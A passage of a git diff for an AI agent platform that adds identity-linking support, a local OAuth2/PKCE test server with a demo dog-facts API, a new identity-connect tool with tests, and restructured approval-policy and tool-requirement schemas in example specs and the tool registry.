log(slug, "would deploy: draft -> bundle -> spec -> validate -> freeze -> promote")
return
@@ -473,6 +498,8 @@ def seed_bundle(bundle_root: Path) -> None:
rev_id = create_draft(slug, app_id, parent=live_rev, spec=spec)
push_bundle(slug, app_id, rev_id, files, spec)
patch_spec(slug, app_id, rev_id, spec)
+ if SEED_DUMMY_SECRETS:
+ ensure_dummy_secrets(slug, app_id, rev_id, spec)
validate(slug, app_id, rev_id)
new_sha = freeze(slug, app_id, rev_id)
log(slug, f"frozen sha={new_sha[:12]}...")
diff --git a/products/agent_platform/services/agent-tests/src/examples/sre-slack-bot/README.md b/products/agent_platform/services/agent-tests/src/examples/sre-slack-bot/README.md
index 48675e76e582..c8475ba4bdfc 100644
--- a/products/agent_platform/services/agent-tests/src/examples/sre-slack-bot/README.md
+++ b/products/agent_platform/services/agent-tests/src/examples/sre-slack-bot/README.md
@@ -76,7 +76,7 @@ runbooks/
**Reads are open; writes are gated.** `@posthog/memory-search` /
`-list` / `-read` need no approval. `@posthog/memory-write` /
-`-update` are **approval-gated** (`approvers: ["team_admins"]`,
+`-update` are **approval-gated** (`type: "agent"`,
`allow_edit: true`): when the bot proposes a runbook change it gets a
synthetic `queued` envelope back instead of a write, surfaces the
`approval_url` to the user, and the change only lands once a human
diff --git a/products/agent_platform/services/agent-tests/src/examples/sre-slack-bot/spec.json b/products/agent_platform/services/agent-tests/src/examples/sre-slack-bot/spec.json
index a4114f58b016..293507fddd4f 100644
--- a/products/agent_platform/services/agent-tests/src/examples/sre-slack-bot/spec.json
+++ b/products/agent_platform/services/agent-tests/src/examples/sre-slack-bot/spec.json
@@ -48,9 +48,8 @@
"kind": "native",
"approval_policy": {
"ttl_ms": 86400000,
- "approvers": ["team_admins"],
"allow_edit": false,
- "allow_agent_approver": false
+ "type": "agent"
},
"requires_approval": false
},
@@ -59,9 +58,8 @@
"kind": "native",
"approval_policy": {
"ttl_ms": 86400000,
- "approvers": ["team_admins"],
"allow_edit": false,
- "allow_agent_approver": false
+ "type": "agent"
},
"requires_approval": false
},
@@ -70,9 +68,8 @@
"kind": "native",
"approval_policy": {
"ttl_ms": 86400000,
- "approvers": ["team_admins"],
"allow_edit": false,
- "allow_agent_approver": false
+ "type": "agent"
},
"requires_approval": false
},
@@ -81,9 +78,8 @@
"kind": "native",
"approval_policy": {
"ttl_ms": 86400000,
- "approvers": ["team_admins"],
"allow_edit": false,
- "allow_agent_approver": false
+ "type": "agent"
},
"requires_approval": false
},
@@ -92,9 +88,8 @@
"kind": "native",
"approval_policy": {
"ttl_ms": 86400000,
- "approvers": ["team_admins"],
"allow_edit": false,
- "allow_agent_approver": false
+ "type": "agent"
},
"requires_approval": false
},
@@ -103,9 +98,8 @@
"kind": "native",
"approval_policy": {
"ttl_ms": 86400000,
- "approvers": ["team_admins"],
"allow_edit": false,
- "allow_agent_approver": false
+ "type": "agent"
},
"requires_approval": false
},
@@ -114,9 +108,8 @@
"kind": "native",
"approval_policy": {
"ttl_ms": 86400000,
- "approvers": ["team_admins"],
"allow_edit": false,
- "allow_agent_approver": false
+ "type": "agent"
},
"requires_approval": false
},
@@ -125,9 +118,8 @@
"kind": "native",
"approval_policy": {
"ttl_ms": 86400000,
- "approvers": ["team_admins"],
"allow_edit": false,
- "allow_agent_approver": false
+ "type": "agent"
},
"requires_approval": false
},
@@ -136,9 +128,8 @@
"kind": "native",
"approval_policy": {
"ttl_ms": 604800000,
- "approvers": ["team_admins"],
"allow_edit": true,
- "allow_agent_approver": false
+ "type": "agent"
},
"requires_approval": true
},
@@ -147,39 +138,44 @@
"kind": "native",
"approval_policy": {
"ttl_ms": 604800000,
- "approvers": ["team_admins"],
"allow_edit": true,
- "allow_agent_approver": false
+ "type": "agent"
},
"requires_approval": true
}
],
"secrets": [
- { "name": "SLACK_BOT_TOKEN", "allowed_hosts": ["slack.com"] },
+ {
+ "name": "SLACK_BOT_TOKEN",
+ "allowed_hosts": ["slack.com"]
+ },
"SLACK_SIGNING_SECRET",
- { "name": "INCIDENT_IO_TOKEN", "allowed_hosts": ["api.incident.io"] },
+ {
+ "name": "INCIDENT_IO_TOKEN",
+ "allowed_hosts": ["api.incident.io"]
+ },
"WEBHOOK_SECRET"
],
"skills": [
{
"id": "triage-playbook",
"path": "skills/triage-playbook/SKILL.md",
- "description": "Structured triage flow — phases for context gathering, hypothesis, and reporting. Load when starting an investigation."
+ "description": "Structured triage flow \u2014 phases for context gathering, hypothesis, and reporting. Load when starting an investigation."
},
{
"id": "slack-thread-protocol",
"path": "skills/slack-thread-protocol/SKILL.md",
- "description": "Conventions for replying in Slack — TL;DR first, evidence next, who to tag, when to start a new top-level message. Load before posting any reply."
+ "description": "Conventions for replying in Slack \u2014 TL;DR first, evidence next, who to tag, when to start a new top-level message. Load before posting any reply."
},
{
"id": "incident-io-playbook",
"path": "skills/incident-io-playbook/SKILL.md",
- "description": "How to query and update incident.io — list active incidents, fetch context for an incoming webhook, post triage updates, and (rare) open a new incident. Load when an incident.io webhook fires the agent, when an alert correlates to an active incident, or when recording a resolved outcome."
+ "description": "How to query and update incident.io \u2014 list active incidents, fetch context for an incoming webhook, post triage updates, and (rare) open a new incident. Load when an incident.io webhook fires the agent, when an alert correlates to an active incident, or when recording a resolved outcome."
},
{
"id": "runbook-memory",
"path": "skills/runbook-memory/SKILL.md",
- "description": "The runbook corpus in agent memory — the folder taxonomy (runbooks/alerts, runbooks/systems, runbooks/procedures), how to read it during triage, how to write a GOOD runbook entry, and the approval-gated flow for proposing a new or updated runbook on a user's behalf. ALWAYS load before reading or proposing any change to a runbook — i.e. at the start of triage (to consult) and after a resolution (to capture the lesson)."
+ "description": "The runbook corpus in agent memory \u2014 the folder taxonomy (runbooks/alerts, runbooks/systems, runbooks/procedures), how to read it during triage, how to write a GOOD runbook entry, and the approval-gated flow for proposing a new or updated runbook on a user's behalf. ALWAYS load before reading or proposing any change to a runbook \u2014 i.e. at the start of triage (to consult) and after a resolution (to capture the lesson)."
}
],
"integrations": [],
diff --git a/products/agent_platform/services/agent-tests/src/examples/wake-me-up/README.md b/products/agent_platform/services/agent-tests/src/examples/wake-me-up/README.md
index 70a069d4fc4d..0b08fe75a996 100644
--- a/products/agent_platform/services/agent-tests/src/examples/wake-me-up/README.md
+++ b/products/agent_platform/services/agent-tests/src/examples/wake-me-up/README.md
@@ -42,7 +42,7 @@ cron trigger, native tools, both prose (`memory-*`) and tabular
or a custom API tool.
- **Drive a UI.** This is a fire-and-write agent; it produces a
markdown file + Slack post. The user reads from those, not from
- an agent-console session.
+ a console session.
- **Edit its own config.** Things like `channels.yml`,
`teammates.yml`, `relevance.yml` live in memory as user-maintained
notes — the agent reads them but doesn't rewrite them.
diff --git a/products/agent_platform/services/agent-tests/src/harness/cluster.ts b/products/agent_platform/services/agent-tests/src/harness/cluster.ts
index 026bd013c182..afab4babebf3 100644
--- a/products/agent_platform/services/agent-tests/src/harness/cluster.ts
+++ b/products/agent_platform/services/agent-tests/src/harness/cluster.ts
@@ -3,7 +3,7 @@
*
* Real everywhere except model invocation:
* - Postgres (agent_runtime_queue_test) — PgSessionQueue + PgRevisionStore.
- * Schema is dropped + recreated per test.
+ * Schema is Django-owned (migrated before the suite); reset() truncates per test.
* - SeaweedFS / S3 — `S3BundleStore` + `S3MemoryStore` against the
* `AGENT_MEMORY_TEST_S3_*` bucket, per-cluster random prefix. No fs/in-memory
* bundle store — every test exercises the real multipart write + signed-URL
@@ -30,7 +30,7 @@ import request from 'supertest'
import { AuthProvider, buildApp, SessionEventBus } from '@posthog/agent-ingress'
import { buildJanitorApp } from '@posthog/agent-janitor'
-import { IntegrationHostValidator, IsAskerInApproverScope, McpTransportFactory, Worker } from '@posthog/agent-runner'
+import { IntegrationHostValidator, McpTransportFactory, Worker } from '@posthog/agent-runner'
import type { AnalyticsEvent, IdentityStore, LogEntry } from '@posthog/agent-shared'
import {
AgentApplication,
@@ -45,6 +45,8 @@ import {
newTestPrefix as newMemoryTestPrefix,
PgApprovalStore,
PgCredentialBroker,
+ PgIdentityCredentialStore,
+ PgIdentityLinkStateStore,
PgIdentityStore,
PgRevisionStore,
PgSandboxInstanceStore,
@@ -247,15 +249,6 @@ export interface BuildClusterOpts {
* `getModel('anthropic', 'claude-sonnet-4-7')`) for real-inference tests.
*/
model?: Model<string>
- /**
- * Per-asker authorisation shortcut for approval-gated tools (#23
- * step 3). The harness doesn't carry a real
- * `posthog_organizationmembership` table, so tests stub the auth
- * decision directly — typically by inspecting the latest user-turn's
- * sender id. Omit to preserve B.2 v0 behaviour (every gated call
- * queues regardless of asker).
- */
- isAskerInApproverScope?: IsAskerInApproverScope
/**
* Override the MCP transport factory. Defaults to the runner's own
* `StreamableHTTPClientTransport`. Pair an in-process `McpServer` via
@@ -302,11 +295,10 @@ export async function buildCluster(opts: BuildClusterOpts = {}): Promise<Cluster
const teamId = opts.teamId ?? 1
const pool = await getPool()
- // Single test DB holds both authoring (App, Revision — owned by Django
- // in prod) and runtime tables (Session, User, SandboxInstance — owned
- // by the worker). The production split happens at deploy time via two
- // pool URLs. reset() drops the public schema and reapplies every
- // migration from @posthog/agent-migrations — single source of truth.
+ // Single test DB holds both authoring (App, Revision) and runtime tables
+ // (Session, User, SandboxInstance) — all Django-owned (the agent_platform
+ // product DB). The production split happens at deploy time via two pool
+ // URLs. reset() resets the agent_* tables between cases (see test-reset.ts).
await reset({ databaseUrl: TEST_DB_URL })
// Real S3 bundle store against SeaweedFS, per-cluster prefix. Same impl
@@ -362,6 +354,11 @@ export async function buildCluster(opts: BuildClusterOpts = {}): Promise<Cluster
const credentialBroker = new PgCredentialBroker(pool, {
encryptionSaltKeys: HARNESS_ENCRYPTION_SALT_KEYS,
})
+ // Persistent linked-credential + OAuth link-state stores for identity linking.
+ const identityCredentials = new PgIdentityCredentialStore(pool, {
+ encryptionSaltKeys: HARNESS_ENCRYPTION_SALT_KEYS,
+ })
+ const identityLinks = new PgIdentityLinkStateStore(pool)
// Real S3 (SeaweedFS) memory store with a per-cluster random prefix —
// teardown wipes it. Failing here means SeaweedFS isn't up; fix the dev
// stack rather than mocking around it.
@@ -420,6 +417,10 @@ export async function buildCluster(opts: BuildClusterOpts = {}): Promise<Cluster
sandboxInstances,
broker,
credentialBroker,
+ identityCredentials,
+ identityLinks,
+ identities,
+ linkRedirectBaseUrl: 'http://callback.test',
bus,
logs: logSink,
analytics: analyticsSink,
@@ -428,7 +429,6 @@ export async function buildCluster(opts: BuildClusterOpts = {}): Promise<Cluster
resolveModel: resolveModelForHarness,
approvals,
buildApprovalUrl: (requestId) => `/approvals?request=${requestId}`,
- isAskerInApproverScope: opts.isAskerInApproverScope,
memoryStore,
tabularStore,
mcpTransportFactory: opts.mcpTransportFactory,
@@ -466,6 +466,10 @@ export async function buildCluster(opts: BuildClusterOpts = {}): Promise<Cluster
authProvider: opts.authProvider,
identities,
credentialBroker,
+ // Identity-linking callback route (`GET /link/:provider/callback`).
+ identityCredentials,
+ identityLinks,
+ envEncryption: encryption,
// Same `http` the worker uses, so tests asserting on outbound
// slack.com calls from the ingress (ack_reaction, identity bridge)
// can route them through a single recorder.
diff --git a/products/agent_platform/services/agent-tests/src/harness/dog-oauth-server.ts b/products/agent_platform/services/agent-tests/src/harness/dog-oauth-server.ts
new file mode 100644
index 000000000000..3c6acd5166a3
--- /dev/null
+++ b/products/agent_platform/services/agent-tests/src/harness/dog-oauth-server.ts
@@ -0,0 +1,198 @@
+/**
+ * `dogs` — a real in-process OAuth2 (auth-code + PKCE) IdP plus a bearer-
+ * protected demo API, for hermetic e2e of identity linking. NOT production
+ * code: it lives in the test harness and is the generic-`oauth2`-provider
+ * fixture (no external network, deterministic, test-controllable).
+ *
+ * Endpoints:
+ * GET /authorize auto-approves, 302 → redirect_uri?code&state
+ * POST /token auth_code (verifies PKCE S256 + client) & refresh grants
+ * GET /api/dog 401 without a valid, unexpired, unrevoked bearer
+ * GET /userinfo { sub, email } (sub lets an identity-establishing provider
+ * stamp a subject; email is the link-time cross-check)
+ */
+
+import { createHash, randomUUID } from 'node:crypto'
+import http from 'node:http'
+import { AddressInfo } from 'node:net'
+
+export interface DogServerOptions {
+ clientId?: string
+ clientSecret?: string
+ /** Access-token lifetime. Small (e.g. 1) to exercise refresh. Default 3600. */
+ tokenTtlSeconds?: number
+ /** Email returned by /userinfo. Default [email protected]. */
+ userEmail?: string
+ /** Subject (`sub`) returned by /userinfo. Default dog-user-1. */
+ userSub?: string
+ /** Fixed listen port (for a standalone dev server). Default 0 (random, for tests). */
+ port?: number
+}
+
+interface CodeRecord {
+ codeChallenge: string
+ redirectUri: string
+ scope: string
+}
+
+interface TokenRecord {
+ refreshToken: string
+ expiresAt: number
+ scope: string
+}
+
+export interface DogServer {
+ baseUrl: string
+ authorizeUrl: string
+ tokenUrl: string
+ apiUrl: string
+ userinfoUrl: string
+ /** Tokens the API will currently accept (test introspection). */
+ activeTokens(): string[]
+ /** Every GET /api/dog seen, with the bearer used. */
+ dogCalls: Array<{ token: string }>
+ revoke(token: string): void
+ close(): Promise<void>
+}
+
+const CLIENT_ID = 'dogs-client'
+
+export async function startDogServer(opts: DogServerOptions = {}): Promise<DogServer> {
+ const clientId = opts.clientId ?? CLIENT_ID
+ const clientSecret = opts.clientSecret
+ const ttlMs = (opts.tokenTtlSeconds ?? 3600) * 1000
+ const email = opts.userEmail ?? '[email protected]'
+ const sub = opts.userSub ?? 'dog-user-1'
+
+ const codes = new Map<string, CodeRecord>()
+ const tokens = new Map<string, TokenRecord>()
+ const refreshToToken = new Map<string, string>()
+ const revoked = new Set<string>()
+ const dogCalls: Array<{ token: string }> = []
+
+ const sha256 = (s: string): string => createHash('sha256').update(s).digest('base64url')
+
+ const readBody = (req: http.IncomingMessage): Promise<string> =>
+ new Promise((resolve) => {
+ let data = ''
+ req.on('data', (c) => (data += c))
+ req.on('end', () => resolve(data))
+ })
+
+ const issue = (scope: string): { access_token: string; refresh_token: string; expires_in: number } => {
+ const access = `dog-at-${randomUUID()}`
+ const refresh = `dog-rt-${randomUUID()}`
+ tokens.set(access, { refreshToken: refresh, expiresAt: Date.now() + ttlMs, scope })
+ refreshToToken.set(refresh, access)
+ return { access_token: access, refresh_token: refresh, expires_in: Math.floor(ttlMs / 1000) }
+ }
+
+ const server = http.createServer(async (req, res) => {
+ const url = new URL(req.url ?? '/', 'http://localhost')
+ const send = (status: number, body: unknown): void => {
+ res.writeHead(status, { 'Content-Type': 'application/json' })
+ res.end(JSON.stringify(body))
+ }
+
+ if (req.method === 'GET' && url.pathname === '/authorize') {
+ const code = `dog-code-${randomUUID()}`
+ codes.set(code, {
+ codeChallenge: url.searchParams.get('code_challenge') ?? '',
+ redirectUri: url.searchParams.get('redirect_uri') ?? '',
+ scope: url.searchParams.get('scope') ?? '',
+ })
+ const redirect = new URL(url.searchParams.get('redirect_uri') ?? '')
+ redirect.searchParams.set('code', code)
+ redirect.searchParams.set('state', url.searchParams.get('state') ?? '')
+ res.writeHead(302, { Location: redirect.toString() })
+ res.end()
+ return
+ }
+
+ if (req.method === 'POST' && url.pathname === '/token') {
+ const params = new URLSearchParams(await readBody(req))
+ if (
+ params.get('client_id') !== clientId ||
+ (clientSecret && params.get('client_secret') !== clientSecret)
+ ) {
+ send(401, { error: 'invalid_client' })
+ return
+ }
+ const grant = params.get('grant_type')
+ if (grant === 'authorization_code') {
+ const rec = codes.get(params.get('code') ?? '')
+ if (!rec) {
+ send(400, { error: 'invalid_grant' })
+ return
+ }
+ codes.delete(params.get('code') ?? '')
+ // PKCE S256 check.
+ const verifier = params.get('code_verifier') ?? ''
+ if (rec.codeChallenge && sha256(verifier) !== rec.codeChallenge) {
+ send(400, { error: 'invalid_grant', error_description: 'pkce_mismatch' })
+ return
+ }
+ send(200, { token_type: 'bearer', scope: rec.scope, ...issue(rec.scope) })
+ return
+ }
+ if (grant === 'refresh_token') {
+ const rt = params.get('refresh_token') ?? ''
+ const prevAccess = refreshToToken.get(rt)
+ if (!prevAccess) {
+ send(400, { error: 'invalid_grant' })
+ return
+ }
+ const prev = tokens.get(prevAccess)
+ tokens.delete(prevAccess) // rotate access
+ refreshToToken.delete(rt)
+ send(200, { token_type: 'bearer', scope: prev?.scope ?? '', ...issue(prev?.scope ?? '') })
+ return
+ }
+ send(400, { error: 'unsupported_grant_type' })
+ return
+ }
+
+ const bearer = (req.headers.authorization ?? '').replace(/^Bearer\s+/i, '')
+ const tokenValid = (t: string): boolean => {
+ const rec = tokens.get(t)
+ return !!rec && !revoked.has(t) && rec.expiresAt > Date.now()
+ }
+
+ if (req.method === 'GET' && url.pathname === '/api/dog') {
+ dogCalls.push({ token: bearer })
+ if (!tokenValid(bearer)) {
+ send(401, { error: 'unauthorized' })
+ return
+ }
+ send(200, { fact: 'Dogs have three eyelids.', breed: 'corgi' })
+ return
+ }
+
+ if (req.method === 'GET' && url.pathname === '/userinfo') {
+ if (!tokenValid(bearer)) {
+ send(401, { error: 'unauthorized' })
+ return
+ }
+ send(200, { sub, email })
+ return
+ }
+
+ send(404, { error: 'not_found' })
+ })
+
+ await new Promise<void>((resolve) => server.listen(opts.port ?? 0, '127.0.0.1', resolve))
+ const port = (server.address() as AddressInfo).port
+ const baseUrl = `http://127.0.0.1:${port}`
+
+ return {
+ baseUrl,
+ authorizeUrl: `${baseUrl}/authorize`,
+ tokenUrl: `${baseUrl}/token`,
+ apiUrl: `${baseUrl}/api/dog`,
+ userinfoUrl: `${baseUrl}/userinfo`,
+ activeTokens: () => [...tokens.keys()].filter((t) => !revoked.has(t) && tokens.get(t)!.expiresAt > Date.now()),
+ dogCalls,
+ revoke: (t) => revoked.add(t),
+ close: () => new Promise<void>((resolve) => server.close(() => resolve())),
+ }
+}
diff --git a/products/agent_platform/services/agent-tools/package.json b/products/agent_platform/services/agent-tools/package.json
index 50f1a04ed798..faa0bc445834 100644
--- a/products/agent_platform/services/agent-tools/package.json
+++ b/products/agent_platform/services/agent-tools/package.json
@@ -13,6 +13,8 @@
},
"scripts": {
"lint": "oxlint --quiet .",
+ "format": "oxfmt .",
+ "format:check": "oxfmt --check .",
"typescript:check": "tsc --noEmit -p .",
"test": "vitest run"
},
diff --git a/products/agent_platform/services/agent-tools/src/registry.test.ts b/products/agent_platform/services/agent-tools/src/registry.test.ts
index 37502e7e3414..913f5b7b6558 100644
--- a/products/agent_platform/services/agent-tools/src/registry.test.ts
+++ b/products/agent_platform/services/agent-tools/src/registry.test.ts
@@ -43,9 +43,12 @@ describe('native tool registry', () => {
expect(t.schema.description.length).toBeGreaterThan(0)
expect(t.schema.args).not.toBeUndefined()
expect(t.schema.returns).not.toBeUndefined()
- expect(t.schema.requires).toEqual(
- expect.objectContaining({ integrations: expect.any(Array), scopes: expect.any(Array) })
- )
+ // `requires.provider` is optional (omitted for credential-free tools);
+ // when present it carries an id + scopes array.
+ if (t.schema.requires.provider) {
+ expect(typeof t.schema.requires.provider.id).toBe('string')
+ expect(Array.isArray(t.schema.requires.provider.scopes)).toBe(true)
+ }
expect(['cheap', 'medium', 'expensive']).toContain(t.schema.cost_hint)
}
})
diff --git a/products/agent_platform/services/agent-tools/src/registry.ts b/products/agent_platform/services/agent-tools/src/registry.ts
index d55347665306..978f7307f80d 100644
--- a/products/agent_platform/services/agent-tools/src/registry.ts
+++ b/products/agent_platform/services/agent-tools/src/registry.ts
@@ -12,6 +12,8 @@
import { defineNativeTool, NativeTool, NativeToolSchema, Type } from '@posthog/agent-shared'
import { httpRequestV1 } from './tools/http-request.v1'
+import { identityConnectV1 } from './tools/identity-connect.v1'
+import { identityFetchV1 } from './tools/identity-fetch.v1'
import { loadSkill } from './tools/load-skill'
import {
memoryDeleteV1,
@@ -82,7 +84,7 @@ export const nativeToolsCatalogV1 = defineNativeTool({
id: '@posthog/agent-applications-native-tools-list',
description: [
'List every native (@posthog/*) tool available to put in an agent spec —',
- 'id, description, required scopes/integrations, and cost hint. Call this to',
+ 'id, description, the credential provider + scopes it needs, and cost hint. Call this to',
'discover what tools you can wire into an agent you are building or editing,',
'instead of guessing tool ids. The validator rejects unknown ids, so check here first.',
].join(' '),
@@ -93,8 +95,7 @@ export const nativeToolsCatalogV1 = defineNativeTool({
id: Type.String(),
description: Type.String(),
requires: Type.Object({
- integrations: Type.Array(Type.String()),
- scopes: Type.Array(Type.String()),
+ provider: Type.Optional(Type.Object({ id: Type.String(), scopes: Type.Array(Type.String()) })),
}),
cost_hint: Type.String(),
})
@@ -106,10 +107,7 @@ export const nativeToolsCatalogV1 = defineNativeTool({
tools: listNativeTools().map((t) => ({
id: t.id,
description: t.schema.description,
- requires: {
- integrations: t.schema.requires.integrations,
- scopes: t.schema.requires.scopes,
- },
+ requires: { provider: t.schema.requires.provider },
cost_hint: t.schema.cost_hint,
})),
}
@@ -155,6 +153,8 @@ export const ALL_TOOLS: NativeTool[] = [
slackReadThreadV1,
slackReactV1,
httpRequestV1,
+ identityConnectV1,
+ identityFetchV1,
endTurnTool,
endSessionTool,
emitEventTool,
diff --git a/products/agent_platform/services/agent-tools/src/tools/_posthog-api.ts b/products/agent_platform/services/agent-tools/src/tools/_posthog-api.ts
index 8690f666263e..40229b58b86c 100644
--- a/products/agent_platform/services/agent-tools/src/tools/_posthog-api.ts
+++ b/products/agent_platform/services/agent-tools/src/tools/_posthog-api.ts
@@ -1,28 +1,47 @@
/**
- * Shared helper for native tools that proxy PostHog HTTP endpoints **as
- * the connected user**.
- *
- * The credential broker (per-session, PG-backed, Fernet-encrypted) gives
- * us the user's OAuth bearer or PAT under target `posthog_api`. This
- * helper resolves it, makes the fetch, and translates the response into
- * a tool-friendly shape. All `@posthog/agent-applications-*` style
- * tools route through here so they share auth handling, error formatting,
- * and base-URL config.
- *
- * Failure semantics:
- * - No broker / no `posthog_api` credential → throws
- * `posthog_credentials_unavailable` (tool result becomes an error;
- * the model adapts via agent.md degradation rules).
- * - Non-2xx response → throws `posthog_api_error: <status> <body>`
- * (response body trimmed to 400 chars for the model context).
- * - Network error → propagates the original.
- *
- * Base URL is supplied via `ctx.posthogApiBaseUrl` — wired from
- * `config.posthogApiBaseUrl` at runner boot. Dev defaults to
- * `http://localhost:8010` via `PlatformConfigSchema`.
+ * Shared helper for native tools that call PostHog HTTP endpoints **as the
+ * connected user**. Auth resolves through the identity model (`posthog`
+ * provider) — PostHog is not a special case. Unlinked → throws
+ * `IdentityAuthRequiredError` (the dispatch wrapper relays an auth_required
+ * link); unavailable → `posthog_credentials_unavailable`; non-2xx →
+ * `posthog_api_error`. No host check: `ctx.posthogApiBaseUrl` is
+ * platform-controlled, so the bearer can only reach the PostHog API host.
*/
-import { type ToolContext, Type } from '@posthog/agent-shared'
+import { type Credential, IdentityAuthRequiredError, type ToolContext, Type } from '@posthog/agent-shared'
+
+/** The provider id native PostHog tools resolve their bearer under. */
+export const POSTHOG_IDENTITY_PROVIDER = 'posthog'
+
+function bearerFromCredential(cred: Credential): string {
+ if (cred.kind === 'posthog_bearer' || cred.kind === 'oauth_bearer') {
+ return cred.token
+ }
+ throw new Error('posthog_credentials_unavailable: resolved credential is not a bearer')
+}
+
+/**
+ * Resolve the asker's PostHog bearer via the identity model. Prefers the
+ * dispatch wrapper's pre-resolved credential; otherwise resolves live and maps
+ * the `IdentityResolution` union onto throws the helper's callers understand.
+ */
+async function resolvePosthogBearer(ctx: ToolContext): Promise<string> {
+ const pre = ctx.resolvedIdentities?.[POSTHOG_IDENTITY_PROVIDER]
+ if (pre) {
+ return bearerFromCredential(pre.credential)
+ }
+ if (!ctx.identity) {
+ throw new Error('posthog_credentials_unavailable: no identity resolver wired in this session')
+ }
+ const res = await ctx.identity.resolve(POSTHOG_IDENTITY_PROVIDER)
+ if (res.kind === 'link_required') {
+ throw new IdentityAuthRequiredError(res.provider, res.authorizeUrl)
+ }
+ if (res.kind === 'unavailable') {
+ throw new Error(`posthog_credentials_unavailable: ${res.reason}`)
+ }
+ return bearerFromCredential(res.credential)
+}
export interface CallPosthogApiOpts {
method: 'GET' | 'POST' | 'PATCH' | 'PUT' | 'DELETE'
@@ -35,13 +54,7 @@ export interface CallPosthogApiOpts {
}
export async function callPosthogApi<T = unknown>(ctx: ToolContext, opts: CallPosthogApiOpts): Promise<T> {
- if (!ctx.credentials) {
- throw new Error('posthog_credentials_unavailable: credential broker not wired in this session')
- }
- const cred = await ctx.credentials.resolve('posthog_api')
- if (!cred || cred.kind !== 'posthog_bearer') {
- throw new Error('posthog_credentials_unavailable: no posthog_api credential for this session')
- }
+ const token = await resolvePosthogBearer(ctx)
const qs = opts.query
? '?' +
Object.entries(opts.query)
@@ -54,7 +67,7 @@ export async function callPosthogApi<T = unknown>(ctx: ToolContext, opts: CallPo
const init: RequestInit = {
method: opts.method,
headers: {
- Authorization: `Bearer ${cred.token}`,
+ Authorization: `Bearer ${token}`,
Accept: 'application/json',
...(opts.body !== undefined ? { 'Content-Type': 'application/json' } : {}),
},
diff --git a/products/agent_platform/services/agent-tools/src/tools/http-request.v1.ts b/products/agent_platform/services/agent-tools/src/tools/http-request.v1.ts
index 7cfe59c2333b..940328c972e3 100644
--- a/products/agent_platform/services/agent-tools/src/tools/http-request.v1.ts
+++ b/products/agent_platform/services/agent-tools/src/tools/http-request.v1.ts
@@ -280,7 +280,7 @@ export const httpRequestV1 = defineNativeTool({
url: Type.String(),
truncated: Type.Boolean({ description: 'True if the response body was clipped to max_response_bytes.' }),
}),
- requires: { integrations: [], scopes: ['web:fetch'] },
+ requires: {},
cost_hint: 'medium',
async run(args, ctx) {
// URL is substituted first so we know the FINAL host; every secret
diff --git a/products/agent_platform/services/agent-tools/src/tools/identity-connect.v1.test.ts b/products/agent_platform/services/agent-tools/src/tools/identity-connect.v1.test.ts
new file mode 100644
index 000000000000..81201b57a6dd
--- /dev/null
+++ b/products/agent_platform/services/agent-tools/src/tools/identity-connect.v1.test.ts
@@ -0,0 +1,35 @@
+import { describe, expect, it, vi } from 'vitest'
+
+import type { ToolContext } from '@posthog/agent-shared'
+
+import { identityConnectV1 } from './identity-connect.v1'
+
+function ctx(identity?: Partial<NonNullable<ToolContext['identity']>>): ToolContext {
+ return { identity, http: {} as never, posthogApiBaseUrl: 'http://x' } as unknown as ToolContext
+}
+
+describe('@posthog/identity-connect', () => {
+ it('mints a (re)connect link via relink and returns it for the agent to relay', async () => {
+ const relink = vi.fn(async () => 'https://app.posthog.test/oauth/authorize/?x=1')
+ const res = await identityConnectV1.run({ provider: 'posthog' }, ctx({ relink, resolve: vi.fn() }))
+ expect(res).toEqual({ authorize_url: 'https://app.posthog.test/oauth/authorize/?x=1' })
+ expect(relink).toHaveBeenCalledWith('posthog')
+ })
+
+ it('reports unavailable (with the resolve reason) when no link can be minted', async () => {
+ const relink = vi.fn(async () => null)
+ const resolve = vi.fn(async () => ({
+ kind: 'unavailable',
+ provider: 'posthog',
+ reason: 'shared_session_unsupported',
+ }))
+ const res = await identityConnectV1.run({ provider: 'posthog' }, ctx({ relink, resolve: resolve as never }))
+ expect(res).toEqual({ unavailable: { provider: 'posthog', reason: 'shared_session_unsupported' } })
+ })
+
+ it('reports unavailable when the agent has no identity surface at all', async () => {
+ const res = await identityConnectV1.run({ provider: 'posthog' }, ctx(undefined))
+ expect(res.unavailable?.provider).toBe('posthog')
+ expect(res.authorize_url).toBeUndefined()
+ })
+})
diff --git a/products/agent_platform/services/agent-tools/src/tools/identity-connect.v1.ts b/products/agent_platform/services/agent-tools/src/tools/identity-connect.v1.ts
new file mode 100644
index 000000000000..ab7467805b61
--- /dev/null
+++ b/products/agent_platform/services/agent-tools/src/tools/identity-connect.v1.ts
@@ -0,0 +1,57 @@
+/**
+ * Mint a connect / reconnect link for an identity provider on demand. The agent
+ * calls this whenever the user wants to authorize (or re-authorize) an account —
+ * "connect PostHog", "relink my GitHub", or after a capability reports it needs
+ * a connection. Returns a fresh authorize URL for the agent to relay as a
+ * markdown link; works whether or not the user is already linked (reconnect
+ * refreshes access after a revoked token or a newly-required scope).
+ *
+ * This is the proactive twin of the failure-driven `auth_required` / "Connect
+ * required" surfacing: the agent no longer has to wait for a tool or MCP to
+ * fail before it can hand the user a link.
+ */
+
+import { defineNativeTool, Type } from '@posthog/agent-shared'
+
+export const identityConnectV1 = defineNativeTool({
+ id: '@posthog/identity-connect',
+ description:
+ 'Generate a connect or reconnect link for an identity provider so the user can authorize ' +
+ '(or re-authorize) their account. Call this whenever the user asks to connect, reconnect, ' +
+ 'or relink a provider, or when a capability needs an account that is not connected yet. ' +
+ 'Relay the returned `authorize_url` to the user as a markdown link with a short friendly label. ' +
+ 'Works whether or not they are already connected — reconnecting refreshes access (e.g. after a ' +
+ 'revoked token or an added permission). `provider` is an id from spec.identity_providers (e.g. "posthog").',
+ args: Type.Object({
+ provider: Type.String({ description: 'Provider id from spec.identity_providers (e.g. "posthog", "github").' }),
+ }),
+ returns: Type.Object({
+ authorize_url: Type.Optional(Type.String({ description: 'Relay this to the user as a markdown link.' })),
+ unavailable: Type.Optional(
+ Type.Object({
+ provider: Type.String(),
+ reason: Type.String({ description: 'Why no link could be minted (tell the user plainly).' }),
+ })
+ ),
+ }),
+ requires: {},
+ cost_hint: 'cheap',
+ async run(args, ctx) {
+ if (!ctx.identity) {
+ return {
+ unavailable: { provider: args.provider, reason: 'no identity providers configured on this agent' },
+ }
+ }
+ // `relink` force-initiates a fresh link regardless of current state — the
+ // single primitive for both first-time connect and reconnect.
+ const url = ctx.identity.relink ? await ctx.identity.relink(args.provider) : null
+ if (url) {
+ return { authorize_url: url }
+ }
+ // No link possible (unknown provider, shared session, unlinkable
+ // principal, or a provider with no OAuth app). Resolve once for a reason.
+ const res = await ctx.identity.resolve(args.provider)
